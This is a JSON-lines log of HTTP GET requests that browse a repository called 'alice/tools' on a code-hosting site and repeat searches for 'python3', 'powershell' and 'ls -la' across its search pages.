{"method": "GET", "target": "/alice/tools/commits/branch/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/branch/feat/docker-support/Dockerfile", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/tags", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/repo-activity-top-authors-contributors-graph-code-frequency-graph-recent-commits-graph.2afcdb46.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/repo-activity-top-authors.0b8b147c.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/activity", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/graph", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/css/dropzone.5a752d14.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/assets/js/dropzone.265e21d7.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/tag/v1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/archive/main.zip", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: session=d65379616ffd0971; lang=en-US", "Host: example.com", "Connection: keep-alive"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/repos?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/code?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues?type=your_repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/organizations?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?tab=repositories&q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice?tab=repositories&q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=python3&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=python3", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/repos?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/code?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues?type=your_repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/organizations?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice?tab=repositories&q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/commits/branch/main/search?q=powershell&all=true", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/-/packages?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/wiki/search?q=powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/repos?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/code?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/issues?type=all&state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/pulls?state=open&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/issues?type=your_repositories&q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/branches?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/explore/users?q=ls%20-la", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
||||||
|
